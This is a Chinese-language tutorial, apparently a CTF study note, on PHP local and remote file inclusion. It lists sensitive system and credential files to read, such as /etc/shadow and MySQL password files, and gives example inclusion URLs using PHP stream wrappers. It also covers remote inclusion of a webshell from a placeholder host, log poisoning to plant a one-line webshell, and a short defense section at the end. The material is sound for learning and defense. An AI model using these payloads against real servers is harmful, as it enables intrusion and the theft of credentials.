文件包含入门
文件包含
一些概念
●文件包含:开发人员将可重复使用的内容写到单个文件中,使用时直接调用此文件
●文件包含漏洞:开发人员希望代码更加灵活,有时会将包含的文件设置为变量,用来动态调
用,由于这种灵活性,可能导致攻击者调用恶意文件,造成文件包含漏洞
●文件包含特性:只要被包含的文件的文件内容符合PHP语法,不管文件类型是什么,该文件
都会被php解释器去解析执行;如果文件内容不符合PHP语法,就会将该文件内容读取出来。
(这个特性造成了可能会出现文件包含漏洞)
漏洞危害-敏感信息泄露
windows常见敏感文件
文件 | 说明 |
---|---|
C:\boot.ini |
查看系统版本 |
C:\windows\system32\inetsrv\MetaBase.xml |
iis配置文件 |
C:\windows\repair\same |
存储windows系统初次安装密码 |
C:\ProgramFiles\mysql\my.ini |
mysql配置信息 |
C:\ProgramFiles\mysql\data\mysql\user.MYD |
mysql root密码 |
C:\windows\win.ini |
系统信息,常用于注入木马 |
linux常见敏感文件
文件 | 说明 |
---|---|
/etc/passwd |
账户信息 |
/etc/shadow |
账户密码文件 |
/etc/apache2/apache2.conf |
Apache2默认配置文件 |
/etc/my.conf |
mysql配置文件 |
/etc/php/5.6/apache2/php.ini |
php相关配置 |
/etc/httpd/conf/httpd.conf |
apache配置信息 |
相关函数
函数 | 特点 |
---|---|
include() |
当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行 |
include_ once() |
功能与include()相同,区别在于当重复调用同一文件时,程序只调一次 |
require() |
require()与include()的区别在于require() 执行如果发生错误,函数会输出错误信息,并终止脚本的运行 |
require_ once() |
功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次 |
文件包含分类
本地文件包含(LFI):当包含的文件在服务器本地时,就形成了本地文件包含
远程文件包含(RFI):当包含的文件在远程服务器上时,就形成了远程文件包含
注:如果远程文件包含,则需要php.ini中开启对应参数开关
allow_url_include = on
allow_url_fopen = on
远程文件包含——远程包含一句话木马
如可以?file=http://xxx.xxx.xx.xxx/shell.txt
比如可以是虚拟机下面的shell.txt文件,只要能访问到远程服务器的木马文件就行
远程文件包含——结合伪协议直接getshell
如php://input然后post进去php代码执行命令
PHP伪协议
这里内容主要是对网上的一些博客进行的整理和归纳
详细讲解:
file://协议
作用:
用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。include()/require()/include_once()/require_once()参数可控的情况下,如导入为非.php文件,则仍按照php语法进行解析,这是include()函数所决定的。
说明:
file:// 文件系统是 PHP使用的默认封装协议,展现了本地文件系统。当指定了一个相对路径(不以/、、\或 Windows盘符开头的路径)提供的路径将基于当前的工作目录。在很多情况下是脚本所在的目录,除非被修改了。使用 CLI的时候,目录默认是脚本被调用时所在的目录。
在某些函数里,例如 fopen() 和file_get_contents(),include_path 会可选地搜索,也作为相对的路径。
用法:
/path/to/file.ext
relative/path/to/file.ext
fileInCwd.ext
C:/path/to/winfile.ext
C:\path\to\winfile.ext
\\smbserver\share\path\to\winfile.ext
file:///path/to/file.ext
示例:
[file://[文件的绝对路径和文件名]http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
[文件的相对路径和文件名]http://127.0.0.1/include.php?file=./phpinfo.txt
[http://网络路径和文件名]http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
注:
./当前目录
../上一级目录
php://协议
条件:
(可在phpinfo内查看)
- allow_url_fopen:off/on
- allow_url_include :仅php://input php://stdin php://memory php://temp 需要on
作用:
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。
说明:
PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符,
内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。一般来说,比较常用的是php://filter和php://input
php://filter常用于读取源码
php://input用于执行php代码
协议 作用 php://input 可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在enctype=”multipart/form-data” 的时候php://input 是无效的。 php://output 只写的数据流,允许以 print 和 echo 一样的方式写入到输出缓冲区。 php://fd (>=5.3.6)允许直接访问指定的文件描述符。例如 php://fd/3 引用了文件描述符 3。 php://memory php://temp (>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是 php://memory 总是把数据储存在内存中,而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。临时文件位置的决定和 sys_get_temp_dir() 的方式一致。 php://filter (>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。 php://filter
- 该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下:
php://filter 参数 描述 resource=<要过滤的数据流> 必须项。它指定了你要筛选过滤的数据流。 read=<读链的过滤器> 可选项。可以设定一个或多个过滤器名称,以管道符(*\ *)分隔。 write=<写链的过滤器> 可选项。可以设定一个或多个过滤器名称,以管道符(\ )分隔。 <; 两个链的过滤器> 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。 - 可用的过滤器列表(4类) 此处列举主要的过滤器类型,详细内容请参考:https://www.php.net/manual/zh/filters.php
字符串过滤器 作用 string.rot13 等同于str_rot13(),rot13变换 string.toupper 等同于strtoupper(),转大写字母 string.tolower 等同于strtolower(),转小写字母 string.strip_tags 等同于strip_tags(),去除html、PHP语言标签 转换过滤器 作用 convert.base64-encode & convert.base64-decode 等同于base64_encode()和base64_decode(),base64编码解码 convert.quoted-printable-encode & convert.quoted-printable-decode quoted-printable 字符串与 8-bit 字符串编码解码 压缩过滤器 作用 zlib.deflate & zlib.inflate 在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。 bzip2.compress & bzip2.decompress 同上,在本地文件系统中创建 bz2 兼容文件的方法。 加密过滤器 作用 mcrypt.* libmcrypt 对称加密算法 mdecrypt.* libmcrypt 对称解密算法 示例:
php://filter/read=convert.base64-encode/resource=[文件名]读取文件源码(针对php文件需要base64编码)
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
php://input
php://input + [POST DATA]执行php代码
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
若有写入权限,写入一句话木马
http://127.0.0.1/include.php?file=php://input[POST DATA部分]
‘); ?>filter和input的选择:
1、已知文件位置,用input直接cat可能cat不出来,可以试试用filter
比如
http://challenge-040d48a00b3f78a5.sandbox.ctfhub.com:10800/?file=php://filter/resource=/flag
(来自CTFHUB)(这道题目已知flag在/flag)
同时注意有的题目可能需要用base64转码(见上)
phar://协议
作用:属于压缩流,可以访问压缩文件中的子文件,不需要指定后缀名,可修改为任意后缀,比如:jpg png gif xxx 等等
举例:
http://127.0.0.1/test.php?file=phar://D:/S1eepingFish.zip/S1eepingFish.txt
可以使用相对路径,也可以使用绝对路径
而且要注意复制粘贴的路径是\,得改成/zip://&bzip2://&zlib://协议
作用:属于压缩流,可以访问压缩文件中的子文件,可以不需要指定后缀名,可修改为任意后缀。
比如:jpg png gif xxx等等
举例:zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)
压缩phpinfo.txt为phpinfo.zip,压缩包重命名为phpinfo.jpg,并上传
http://127.0.0.1/include.php?file=zip://D:\\phpinfo.jpg%23phpinfo.txt
只能使用绝对路径
http://&https://协议
使用条件:
allow_url_fopen: on
allow_url_include: on
作用:访问远程文件或资源,常用于远程包含
举例:
http://127.0.0.1/test.php?file=http://www.baidu.com/robots.txt
data://协议
使用条件:
allow_url_fopen: on
allow_url_include: on
作用:自PHP>=5.2.0起,可以用data://数据流封装器,以传递相应格式的数据,通常可以用来执行PHP代码
用法:
data://text/plain,(PHP代码)
data://text/plain;base64,被base64加密之后的php代码
有些时候末尾会多个+,如果报错的话,改成%2b即可
getshell–本地文件包含日志文件
一般apache会存在两个日志文件:
1.访问日志文件(access.log)访问日志默认是不开启
2.错误日志文件(error.log)
apache开启了日志功能时,会主动记录外部访问到access.log
部分内容在access.log中会被转义,比如<会变成%3c,可以用burpsuite改包,把php代码改回被转义前的正常代码,再发送就可以发现日志里出现了没被转义的正常的php代码
如用这种方法可以在日志文件access.log里写出一句话木马
然后可以file协议打开日志文件
http://127.0.0.1/test.php?file=file://D:/phpStudy/PHPTutorial/Apache/logs/access.log
然后post命令a=phpinfo();(php代码)即可
(当然写入一句话木马后也可以用蚁剑连接)
防御方式:
简单了解一下防御方式
1.设置白名单:
代码在进行文件包含时,如果文件名可以确定,可以设置白名单对传入的参数进行比较
2.过滤危险字符
严格检查用户输入,参数中不允许出现../之类的目录跳转符
3.关闭危险配置
PHP配置中的allow_url_include选项如果打开,PHP会通过Include/Require进行远程文件包含,由于远程文件的不可信任性及不确定性,在开发中禁止打开此选项,PHP默认是关闭的
4.限制文件包含的路径
比如只能包含某个目录内的,PHP配置文件中有open_basedir选项可以设置用户需要执行的文件目录,如果设置目录的话,PHP仅仅在该目录内搜索文件
5.严格判断包含中的参数是否外部可控,尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include(‘head.php’)